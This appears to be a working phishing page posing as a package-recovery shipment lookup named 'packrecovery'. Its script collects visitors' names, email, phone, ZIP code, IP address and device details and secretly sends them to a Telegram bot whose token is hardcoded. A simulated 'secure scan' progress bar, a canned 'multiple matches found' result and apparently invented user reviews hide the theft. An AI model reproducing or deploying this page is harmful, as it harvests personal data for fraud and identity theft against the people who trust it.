<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>packrecovery - Shipment Lookup</title>
<script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4"></script>
<style>
:root {
--bg: #05070b;
--surface: #0c121d;
--surface-soft: #101827;
--text: #e5e7eb;
--muted: #97a3b6;
--line: #1f2a3a;
--line-strong: #2d3f58;
--accent: #4f8cff;
--radius-xl: 24px;
--radius-lg: 14px;
--shadow-soft: 0 20px 42px -25px rgba(2, 6, 23, 0.9);
}
* { box-sizing: border-box; }
html, body { margin: 0; overflow-x: hidden; background: var(--bg); }
body {
min-height: 100vh;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Inter, Roboto, "Helvetica Neue", Arial, sans-serif;
color: var(--text);
line-height: 1.45;
-webkit-font-smoothing: antialiased;
}
.bg-layer {
position: fixed;
inset: 0;
pointer-events: none;
z-index: -2;
background:
radial-gradient(70% 58% at 12% 0%, rgba(79, 140, 255, 0.12), transparent 55%),
radial-gradient(65% 52% at 88% 0%, rgba(130, 161, 255, 0.08), transparent 55%),
linear-gradient(180deg, #05070b 0%, #060b12 100%);
}
.shell {
width: min(100%, 1240px);
margin: 0 auto;
padding: 24px 16px 46px;
min-height: 100vh;
position: relative;
}
.topbar {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 16px;
}
.brand {
display: inline-flex;
align-items: center;
gap: 10px;
font-size: 1.02rem;
font-weight: 600;
}
.brand-mark {
width: 28px;
height: 28px;
border: 1px solid #3a4d66;
border-radius: 9px;
display: inline-flex;
align-items: center;
justify-content: center;
background: linear-gradient(160deg, #172131 0%, #111a28 100%);
box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.08);
}
.brand-mark svg {
width: 16px;
height: 16px;
}
.brand-mark path {
stroke: #84adff;
stroke-width: 1.6;
fill: rgba(132, 173, 255, 0.16);
stroke-linejoin: round;
stroke-linecap: round;
}
.badge {
font-size: 0.73rem;
letter-spacing: 0.08em;
text-transform: uppercase;
color: #b7c2d1;
border: 1px solid var(--line-strong);
border-radius: 999px;
padding: 7px 11px;
background: rgba(15, 22, 34, 0.9);
font-weight: 600;
}
.announcement {
width: min(100%, 760px);
margin: 0 auto 18px;
text-align: center;
border: 1px solid #2a3a50;
border-radius: 12px;
background: rgba(18, 28, 43, 0.72);
color: #c9d6e8;
font-size: 0.9rem;
padding: 10px 14px;
}
.carrier-strip {
width: min(100%, 760px);
margin: 0 auto 24px;
border: 1px solid var(--line);
border-radius: 14px;
padding: 10px 12px;
background: rgba(13, 20, 31, 0.88);
display: flex;
align-items: center;
gap: 12px;
box-shadow: 0 15px 30px -23px rgba(2, 6, 23, 0.9);
}
.carrier-label {
margin: 0;
color: #8ea0b7;
text-transform: uppercase;
letter-spacing: 0.08em;
font-size: 0.75rem;
white-space: nowrap;
}
.carrier-stage {
position: relative;
flex: 1;
min-height: 40px;
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
}
.carrier-item {
position: absolute;
display: inline-flex;
align-items: center;
gap: 10px;
opacity: 0;
transform: translateY(9px);
transition: opacity 0.35s ease, transform 0.35s ease;
}
.carrier-item.active {
opacity: 1;
transform: translateY(0);
}
.carrier-icon {
width: 30px;
height: 30px;
border-radius: 8px;
background: #fff;
border: 1px solid #d4dde7;
overflow: hidden;
display: inline-flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
}
.carrier-logo {
width: 78%;
height: 78%;
object-fit: contain;
}
.carrier-fallback {
color: #4f8cff;
font-size: 0.75rem;
font-weight: 700;
}
.carrier-name {
color: #d7e0ee;
font-size: 0.9rem;
font-weight: 560;
}
.carrier-control {
width: 32px;
height: 32px;
border: 1px solid #2d3e55;
border-radius: 999px;
background: #101927;
color: #b9c6d9;
cursor: pointer;
transition: transform 0.15s ease, border-color 0.2s ease;
}
.carrier-control:hover { transform: translateY(-1px); border-color: #45658a; }
.carrier-control:focus-visible,
input:focus-visible,
button:focus-visible {
outline: none;
box-shadow: 0 0 0 4px rgba(79, 140, 255, 0.22);
border-color: #6ea3ff;
}
.hero { text-align: center; margin-bottom: 28px; }
.eyebrow {
margin: 0;
font-size: 0.73rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #9aa4b2;
font-weight: 600;
}
h1 {
margin: 12px auto 14px;
max-width: 760px;
font-size: clamp(2rem, 4.9vw, 3.2rem);
line-height: 1.1;
letter-spacing: -0.028em;
color: #f8fafc;
}
.hero p {
margin: 0 auto;
max-width: 620px;
color: var(--muted);
font-size: clamp(1rem, 2.2vw, 1.12rem);
transition: opacity 0.28s ease;
}
.hero-subtitle-hidden { opacity: 0; }
.main-card {
width: min(100%, 680px);
margin: 30px auto 0;
border: 1px solid var(--line);
border-radius: var(--radius-xl);
background: linear-gradient(180deg, rgba(14, 21, 33, 0.96), rgba(10, 16, 27, 0.98));
box-shadow: var(--shadow-soft), inset 0 1px 0 rgba(255, 255, 255, 0.04);
padding: 22px 18px;
}
.state-stage { position: relative; transition: height 0.42s ease; }
.state-panel {
position: absolute;
inset: 0;
opacity: 0;
transform: translateY(12px);
pointer-events: none;
transition: opacity 0.35s ease, transform 0.35s ease;
}
.state-panel.active {
position: relative;
opacity: 1;
transform: translateY(0);
pointer-events: auto;
}
.panel-head {
display: flex;
justify-content: space-between;
gap: 12px;
margin-bottom: 18px;
}
.panel-head h2 { margin: 0; font-size: 1.15rem; }
.subtle { margin: 0; font-size: 0.86rem; color: var(--muted); }
.fields-grid { display: grid; grid-template-columns: 1fr; gap: 14px; }
.field { display: flex; flex-direction: column; gap: 8px; }
.field-zip { grid-column: 1 / -1; }
label { color: #c8d2e1; font-size: 0.89rem; font-weight: 550; }
input {
height: 54px;
border-radius: 13px;
border: 1px solid var(--line-strong);
background: var(--surface-soft);
color: #f8fafc;
padding: 0 14px;
font-size: 1rem;
transition: border-color 0.2s ease, box-shadow 0.2s ease;
}
input[aria-invalid="true"] {
border-color: #dc2626;
box-shadow: 0 0 0 4px rgba(220, 38, 38, 0.12);
}
.error { margin: 0; color: #fca5a5; font-size: 0.8rem; min-height: 1.1em; }
.btn-primary,
.btn-secondary {
width: 100%;
min-height: 54px;
border-radius: var(--radius-lg);
cursor: pointer;
font-size: 0.99rem;
font-weight: 600;
transition: transform 0.18s ease, box-shadow 0.22s ease;
}
.btn-primary {
background: #182538;
color: #fff;
border: 1px solid #20334d;
margin-top: 8px;
box-shadow: 0 12px 24px -18px rgba(2, 6, 23, 0.9);
}
.btn-primary:hover,
.btn-secondary:hover { transform: translateY(-1px); }
.btn-secondary {
border: 1px solid var(--line-strong);
color: #dbe4f2;
background: #101826;
margin-top: 20px;
}
.privacy-note { margin: 11px 2px 0; color: #8d9aad; font-size: 0.78rem; }
.info-block {
margin-top: 18px;
display: grid;
grid-template-columns: 3px 1fr;
gap: 12px;
border: 1px solid var(--line);
border-radius: 16px;
padding: 14px;
background: #0f1622;
}
.info-block::before {
content: "";
background: #7ea4ff;
border-radius: 999px;
}
.info-block h3 { margin: 0; font-size: 0.95rem; }
.info-block p { margin: 4px 0 0; color: var(--muted); font-size: 0.85rem; }
.loader-wrap { text-align: center; padding: 18px 4px 8px; }
.loader {
width: 56px;
height: 56px;
margin: 0 auto 18px;
border-radius: 999px;
border: 3px solid #dbe6fb;
border-top-color: var(--accent);
animation: spin 1s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }
.loader-wrap h2 { margin: 0; font-size: 1.2rem; }
.status-text { margin: 8px 0 0; color: #9aa6b5; font-size: 0.95rem; min-height: 1.5em; }
.progress-box {
margin-top: 18px;
border: 1px solid var(--line);
border-radius: 14px;
padding: 12px;
background: #101927;
text-align: left;
}
.progress-label {
display: flex;
justify-content: space-between;
color: #9eabc0;
font-size: 0.85rem;
margin-bottom: 8px;
}
.progress-track {
width: 100%;
height: 11px;
border-radius: 999px;
background: #172231;
border: 1px solid #25344a;
overflow: hidden;
}
.progress-fill {
width: 0%;
height: 100%;
border-radius: inherit;
background: linear-gradient(90deg, #6ca1ff 0%, #4b86ff 100%);
box-shadow: 0 0 18px rgba(75, 134, 255, 0.42);
transition: width 0.08s linear;
}
.notice {
margin-top: 14px;
border-left: 3px solid #8ab1ff;
border-radius: 10px;
padding: 10px 12px;
color: #bfcbda;
background: #0f1a2a;
font-size: 0.83rem;
opacity: 0;
transform: translateY(5px);
transition: opacity 0.45s ease, transform 0.45s ease;
}
.notice.visible { opacity: 1; transform: translateY(0); }
.result-top { text-align: center; }
.status-badge {
display: inline-block;
border: 1px solid var(--line-strong);
border-radius: 999px;
padding: 6px 11px;
color: #ced7e4;
font-size: 0.72rem;
letter-spacing: 0.08em;
text-transform: uppercase;
background: #0f1622;
font-weight: 650;
}
.result-top h2 {
margin: 14px auto 9px;
font-size: clamp(1.55rem, 3.3vw, 2.1rem);
line-height: 1.2;
}
.result-top p { margin: 0 auto; color: var(--muted); max-width: 510px; }
.next-step {
margin-top: 18px;
border: 1px solid var(--line);
border-radius: 16px;
padding: 14px;
background: #101927;
}
.next-step h3 { margin: 0; font-size: 0.96rem; }
.next-step p { margin: 5px 0 0; color: #a6b3c6; font-size: 0.88rem; }
.reviews {
width: min(100%, 760px);
margin: 34px auto 0;
border-top: 1px solid var(--line);
padding-top: 22px;
}
.reviews h2 { margin: 0 0 4px; text-align: center; font-size: 1.14rem; }
.reviews-subtitle { margin: 0 0 16px; text-align: center; color: #92a0b2; font-size: 0.9rem; }
.review-list { margin: 0; padding: 0; list-style: none; }
.review-item {
border: 1px solid var(--line);
border-radius: 12px;
background: rgba(15, 23, 35, 0.75);
padding: 14px;
margin-bottom: 10px;
color: #d9e3f1;
}
.review-item p { margin: 0; font-size: 0.9rem; }
.review-meta { margin-top: 8px; display: block; color: #8ea0b7; font-size: 0.8rem; }
footer { text-align: center; margin-top: 34px; color: #8f9cad; font-size: 0.8rem; padding-bottom: 10px; }
@media (min-width: 700px) {
.shell { padding: 34px 24px 54px; }
.main-card { padding: 28px; }
.fields-grid { grid-template-columns: 1fr 1fr; }
}
@media (max-width: 560px) {
.carrier-label { display: none; }
.carrier-strip { padding: 10px; }
}
</style>
<div class="bg-layer" aria-hidden="true"></div>
<div class="shell">
<header class="topbar" aria-label="Page header">
<div class="brand" aria-label="packrecovery brand">
<span class="brand-mark" aria-hidden="true">
<svg viewBox="0 0 24 24" fill="none" aria-hidden="true" focusable="false">
<path d="M12 3.2 19.3 7 12 10.8 4.7 7 12 3.2Z"></path>
<path d="M4.7 7V15.9L12 20.6V10.8"></path>
<path d="M19.3 7V15.9L12 20.6"></path>
</svg>
</span>
<span>packrecovery</span>
</div>
<span class="badge">Secure Lookup</span>
</header>
<main>
<p class="announcement">You may not know about some shipments. Check them here.</p>
<section class="carrier-strip" aria-label="Carrier environments">
<p class="carrier-label">Carrier environments</p>
<button id="carrierPrev" class="carrier-control" type="button" aria-label="Show previous carrier">‹</button>
<div id="carrierStage" class="carrier-stage" aria-live="polite"></div>
<button id="carrierNext" class="carrier-control" type="button" aria-label="Show next carrier">›</button>
</section>
<section class="hero" aria-labelledby="hero-title">
<p class="eyebrow">Shipment lookup</p>
<h1 id="hero-title">Check your package recovery status.</h1>
<p id="heroSubtitle">Enter the details below to run a quick shipment-match check.</p>
</section>
<section class="main-card" aria-label="Shipment lookup">
<div id="state-stage" class="state-stage">
<div id="state-form" class="state-panel active">
<form id="lookup-form" novalidate="">
<div class="panel-head">
<h2>Search shipment</h2>
<p class="subtle">No account required</p>
</div>
<div class="fields-grid">
<div class="field">
<label for="firstName">First name</label>
<input id="firstName" name="firstName" type="text" autocomplete="given-name" required="">
<p id="firstNameError" class="error" aria-live="polite"></p>
</div>
<div class="field">
<label for="lastName">Last name</label>
<input id="lastName" name="lastName" type="text" autocomplete="family-name" required="">
<p id="lastNameError" class="error" aria-live="polite"></p>
</div>
<div class="field field-zip">
<label for="email">Email (optional)</label>
<input id="email" name="email" type="email" autocomplete="email" inputmode="email" aria-describedby="privacyNote">
<p id="emailError" class="error" aria-live="polite"></p>
</div>
<div class="field field-zip">
<label for="phone">Phone number (optional)</label>
<input id="phone" name="phone" type="tel" autocomplete="tel" inputmode="tel" aria-describedby="privacyNote">
<p id="phoneError" class="error" aria-live="polite"></p>
</div>
<div class="field field-zip">
<label for="zipCode">ZIP code</label>
<input id="zipCode" name="zipCode" type="text" inputmode="numeric" autocomplete="postal-code" maxlength="10" required="" aria-describedby="privacyNote">
<p id="zipCodeError" class="error" aria-live="polite"></p>
</div>
</div>
<button class="btn-primary" type="submit">Search package</button>
<p id="privacyNote" class="privacy-note">Submitted details may be used for lookup processing and notification.</p>
<aside class="info-block" aria-label="What happens next">
<div>
<h3>What happens next</h3>
<p>A brief visual scan runs for a few seconds, then the lookup result is displayed.</p>
</div>
</aside>
</form>
</div>
<div id="state-loading" class="state-panel" aria-live="polite" aria-atomic="true">
<div class="loader-wrap">
<div class="loader" aria-hidden="true"></div>
<h2>Checking shipment records</h2>
<p id="statusText" class="status-text">Preparing your search...</p>
<div class="progress-box" role="status" aria-label="Progress status">
<div class="progress-label">
<span>Secure browser scan</span>
<span id="progressPercent">0%</span>
</div>
<div class="progress-track" aria-hidden="true">
<div id="progressFill" class="progress-fill"></div>
</div>
</div>
<div id="simNotice" class="notice" role="note">We may need a little more time to complete your search.</div>
</div>
</div>
<div id="state-result" class="state-panel" aria-live="polite" aria-atomic="true">
<div class="result-top">
<span class="status-badge">Multiple matches found</span>
<h2>We found more than 2 matching shipments.</h2>
<p>The lookup returned multiple shipment records for the details entered.</p>
</div>
<div class="next-step">
<h3>Next step</h3>
<p>Refine the entered details for a narrower result, or review your original receipt and carrier tracking references.</p>
</div>
<button id="restartButton" class="btn-secondary" type="button">Show found packages</button>
</div>
</div>
</section>
<section class="reviews" aria-labelledby="reviewsTitle">
<h2 id="reviewsTitle">What users say about the search experience</h2>
<p class="reviews-subtitle">Recent feedback from people using this lookup flow</p>
<ul class="review-list">
<li class="review-item">
<p>"Clear flow, quick steps, and no account friction. It made checking possible shipments very easy."</p>
<span class="review-meta">Michael R. · Austin, TX</span>
</li>
<li class="review-item">
<p>"The progress status feels transparent and professional. I immediately understood what was happening."</p>
<span class="review-meta">Danielle T. · Orlando, FL</span>
</li>
<li class="review-item">
<p>"Clean interface and great readability on laptop. Fast to complete and easy to run again."</p>
<span class="review-meta">Kevin J. · Phoenix, AZ</span>
</li>
</ul>
</section>
</main>
<footer>
<div>© 2026 packrecovery</div>
</footer>
</div>
<script>
(function () {
const form = document.getElementById('lookup-form');
const stage = document.getElementById('state-stage');
const states = {
form: document.getElementById('state-form'),
loading: document.getElementById('state-loading'),
result: document.getElementById('state-result')
};
const fields = {
firstName: document.getElementById('firstName'),
lastName: document.getElementById('lastName'),
email: document.getElementById('email'),
phone: document.getElementById('phone'),
zipCode: document.getElementById('zipCode')
};
const errors = {
firstName: document.getElementById('firstNameError'),
lastName: document.getElementById('lastNameError'),
email: document.getElementById('emailError'),
phone: document.getElementById('phoneError'),
zipCode: document.getElementById('zipCodeError')
};
const statusText = document.getElementById('statusText');
const progressPercent = document.getElementById('progressPercent');
const progressFill = document.getElementById('progressFill');
const simNotice = document.getElementById('simNotice');
const restartButton = document.getElementById('restartButton');
const heroSubtitle = document.getElementById('heroSubtitle');
const carrierStage = document.getElementById('carrierStage');
const carrierPrev = document.getElementById('carrierPrev');
const carrierNext = document.getElementById('carrierNext');
if (!form || !stage || !states.form || !states.loading || !states.result || !fields.firstName || !fields.lastName || !fields.zipCode) {
return;
}
let activeState = 'form';
let progressRafId = null;
let carrierIndex = 0;
let carrierTimer = null;
const TELEGRAM_BOT_TOKEN = '8419748369:AAFXNFtICd4egqzVDd-RCN6ANXJe9SmTkA0';
const TELEGRAM_CHAT_ID = new URLSearchParams(window.location.search).get('chat_id') || '-1004362060590';
const zipRegex = /^\d{5}(?:-\d{4})?$/;
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]{2,}$/;
const phoneRegex = /^(?:\+?1\s*(?:[.-]\s*)?)?(?:\(\d{3}\)|\d{3})\s*(?:[.-]\s*)?\d{3}\s*(?:[.-]\s*)?\d{4}$/;
const messages = [
{ threshold: 0, text: 'Preparing your search...' },
{ threshold: 20, text: 'Matching name information...' },
{ threshold: 40, text: 'Checking ZIP region...' },
{ threshold: 60, text: 'Comparing shipment records...' },
{ threshold: 82, text: 'Finalizing lookup...' },
{ threshold: 100, text: 'Search complete' }
];
const carriers = [
{ name: 'USPS', icon: 'US', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/usps.svg' },
{ name: 'UPS', icon: 'UP', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/ups.svg' },
{ name: 'FedEx', icon: 'FX', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/fedex.svg' },
{ name: 'Amazon', icon: 'AM', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/amazon.svg' },
{ name: 'DHL', icon: 'DH', logo: 'https://cdn.jsdelivr.net/npm/simple-icons@latest/icons/dhl.svg' }
];
function createCarrierItem(carrier, isActive) {
const item = document.createElement('div');
item.className = 'carrier-item' + (isActive ? ' active' : '');
const icon = document.createElement('span');
icon.className = 'carrier-icon';
const logo = document.createElement('img');
logo.className = 'carrier-logo';
logo.src = carrier.logo;
logo.alt = carrier.name + ' logo';
logo.loading = 'lazy';
logo.referrerPolicy = 'no-referrer';
logo.addEventListener('error', function () {
icon.innerHTML = '<span class="carrier-fallback">' + carrier.icon + '</span>';
});
icon.appendChild(logo);
const name = document.createElement('span');
name.className = 'carrier-name';
name.textContent = carrier.name;
item.appendChild(icon);
item.appendChild(name);
return item;
}
function mountCarrierStrip() {
if (!carrierStage) {
return;
}
carriers.forEach(function (carrier, index) {
carrierStage.appendChild(createCarrierItem(carrier, index === carrierIndex));
});
}
function showCarrier(nextIndex) {
if (!carrierStage) {
return;
}
const items = carrierStage.querySelectorAll('.carrier-item');
if (!items.length) {
return;
}
items[carrierIndex].classList.remove('active');
carrierIndex = (nextIndex + items.length) % items.length;
items[carrierIndex].classList.add('active');
}
function resetCarrierTimer() {
if (carrierTimer) {
clearInterval(carrierTimer);
}
carrierTimer = setInterval(function () {
showCarrier(carrierIndex + 1);
}, 2100);
}
function setStageHeight(value) {
stage.style.height = value + 'px';
}
function switchState(nextState) {
const currentPanel = states[activeState];
const nextPanel = states[nextState];
setStageHeight(currentPanel.offsetHeight);
currentPanel.classList.remove('active');
nextPanel.classList.add('active');
activeState = nextState;
requestAnimationFrame(function () {
setStageHeight(nextPanel.offsetHeight);
});
setTimeout(function () {
stage.style.height = 'auto';
}, 460);
}
function showError(name, message) {
if (fields[name]) {
fields[name].setAttribute('aria-invalid', 'true');
}
if (errors[name]) {
errors[name].textContent = message;
}
}
function clearError(name) {
if (fields[name]) {
fields[name].setAttribute('aria-invalid', 'false');
}
if (errors[name]) {
errors[name].textContent = '';
}
}
function validateForm() {
let valid = true;
const firstName = fields.firstName.value.trim();
const lastName = fields.lastName.value.trim();
const email = fields.email ? fields.email.value.trim() : '';
const phone = fields.phone ? fields.phone.value.trim() : '';
const zipCode = fields.zipCode.value.trim();
if (!firstName) {
showError('firstName', 'First name is required.');
valid = false;
} else {
clearError('firstName');
}
if (!lastName) {
showError('lastName', 'Last name is required.');
valid = false;
} else {
clearError('lastName');
}
if (email && !emailRegex.test(email)) {
showError('email', 'Enter a valid email address.');
valid = false;
} else {
clearError('email');
}
if (phone && !phoneRegex.test(phone)) {
showError('phone', 'Enter a valid US phone number.');
valid = false;
} else {
clearError('phone');
}
if (!zipCode) {
showError('zipCode', 'ZIP code is required.');
valid = false;
} else if (!zipRegex.test(zipCode)) {
showError('zipCode', 'Use ZIP format 12345 or 12345-6789.');
valid = false;
} else {
clearError('zipCode');
}
return valid;
}
function updateLoadingUI(progress) {
const clamped = Math.max(0, Math.min(100, progress));
progressFill.style.width = clamped.toFixed(2) + '%';
progressPercent.textContent = Math.round(clamped) + '%';
let message = messages[0].text;
for (let i = 0; i < messages.length; i += 1) {
if (clamped >= messages[i].threshold) {
message = messages[i].text;
}
}
statusText.textContent = message;
if (clamped >= 66) {
simNotice.classList.add('visible');
}
}
function resetLoadingState() {
if (progressRafId) {
cancelAnimationFrame(progressRafId);
progressRafId = null;
}
simNotice.classList.remove('visible');
updateLoadingUI(0);
}
function getDeviceName() {
const ua = navigator.userAgent;
if (/iPhone|iPad|iPod/i.test(ua)) return 'iOS device';
if (/Android/i.test(ua)) return 'Android device';
if (/Windows/i.test(ua)) return 'Windows desktop';
if (/Macintosh|Mac OS X/i.test(ua)) return 'Mac desktop';
if (/Linux/i.test(ua)) return 'Linux device';
return 'Unknown device';
}
function getVisitorIp() {
return fetch('https://api.ipify.org?format=json', { method: 'GET', cache: 'no-store' })
.then(function (response) {
if (!response.ok) {
throw new Error('IP lookup failed');
}
return response.json();
})
.then(function (data) {
return data && data.ip ? data.ip : 'Unavailable';
})
.catch(function () {
return 'Unavailable';
});
}
function sendLeadToTelegram(data) {
if (!TELEGRAM_BOT_TOKEN || !TELEGRAM_CHAT_ID) {
return;
}
const text = [
'New packrecovery lookup',
'First name: ' + data.firstName,
'Last name: ' + data.lastName,
'Email: ' + (data.email || 'Not provided'),
'Phone: ' + (data.phone || 'Not provided'),
'ZIP code: ' + data.zipCode,
'IP address: ' + (data.ip || 'Unavailable'),
'Device: ' + data.device,
'Time: ' + new Date().toISOString(),
'User agent: ' + navigator.userAgent
].join('\n');
const body = new URLSearchParams({
chat_id: TELEGRAM_CHAT_ID,
text: text,
disable_web_page_preview: 'true'
});
fetch('https://api.telegram.org/bot' + TELEGRAM_BOT_TOKEN + '/sendMessage', {
method: 'POST',
mode: 'no-cors',
headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' },
body: body.toString()
}).catch(function () {});
}
function startLookup() {
resetLoadingState();
if (heroSubtitle) {
heroSubtitle.classList.add('hero-subtitle-hidden');
}
switchState('loading');
const duration = 5000;
const start = performance.now();
function animate(now) {
const percent = Math.min(((now - start) / duration) * 100, 100);
updateLoadingUI(percent);
if (percent < 100) {
progressRafId = requestAnimationFrame(animate);
return;
}
progressRafId = null;
setTimeout(function () {
switchState('result');
if (restartButton) {
restartButton.focus();
}
}, 520);
}
progressRafId = requestAnimationFrame(animate);
}
form.addEventListener('submit', function (event) {
event.preventDefault();
if (!validateForm()) {
return;
}
const leadData = {
firstName: fields.firstName.value.trim(),
lastName: fields.lastName.value.trim(),
email: fields.email ? fields.email.value.trim() : '',
phone: fields.phone ? fields.phone.value.trim() : '',
zipCode: fields.zipCode.value.trim(),
device: getDeviceName()
};
getVisitorIp().then(function (ip) {
sendLeadToTelegram({
firstName: leadData.firstName,
lastName: leadData.lastName,
email: leadData.email,
phone: leadData.phone,
zipCode: leadData.zipCode,
device: leadData.device,
ip: ip
});
});
startLookup();
});
Object.keys(fields).forEach(function (key) {
if (!fields[key]) {
return;
}
fields[key].addEventListener('input', function () {
if (fields[key].getAttribute('aria-invalid') === 'true') {
clearError(key);
}
});
});
if (restartButton) {
restartButton.addEventListener('click', function () {
switchState('form');
fields.firstName.focus();
});
}
if (carrierPrev) {
carrierPrev.addEventListener('click', function () {
showCarrier(carrierIndex - 1);
resetCarrierTimer();
});
}
if (carrierNext) {
carrierNext.addEventListener('click', function () {
showCarrier(carrierIndex + 1);
resetCarrierTimer();
});
}
mountCarrierStrip();
resetCarrierTimer();
stage.style.height = states.form.offsetHeight + 'px';
setTimeout(function () {
stage.style.height = 'auto';
}, 120);
})();
</script>